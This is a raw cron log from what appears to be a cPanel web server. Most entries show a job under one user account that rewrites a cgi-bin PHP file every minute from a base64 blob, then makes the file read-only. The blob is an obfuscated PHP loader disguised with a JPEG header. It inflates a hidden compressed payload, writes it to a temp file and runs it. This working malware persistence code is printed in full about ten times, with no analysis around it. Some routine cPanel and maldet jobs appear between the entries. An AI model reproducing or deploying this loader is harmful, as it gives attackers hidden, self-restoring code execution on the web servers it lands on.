Nov 10 22:23:01 server CROND[8501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:24:01 server CROND[9564]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:25:01 server CROND[10270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:25:01 server CROND[10271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:25:01 server CROND[10272]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:25:01 server CROND[10273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:26:01 server CROND[10684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:27:01 server CROND[11542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:27:01 server CROND[11543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:28:01 server CROND[12006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:29:01 server CROND[12915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:30:01 server CROND[13728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:30:01 server CROND[13729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:30:01 server CROND[13730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:30:01 server CROND[13731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:31:01 server CROND[14240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:32:01 server CROND[15076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:33:01 server CROND[15896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:34:01 server CROND[16867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:35:01 server CROND[17708]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 22:35:01 server CROND[17710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:35:01 server CROND[17712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:35:01 server CROND[17713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:35:01 server CROND[17714]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
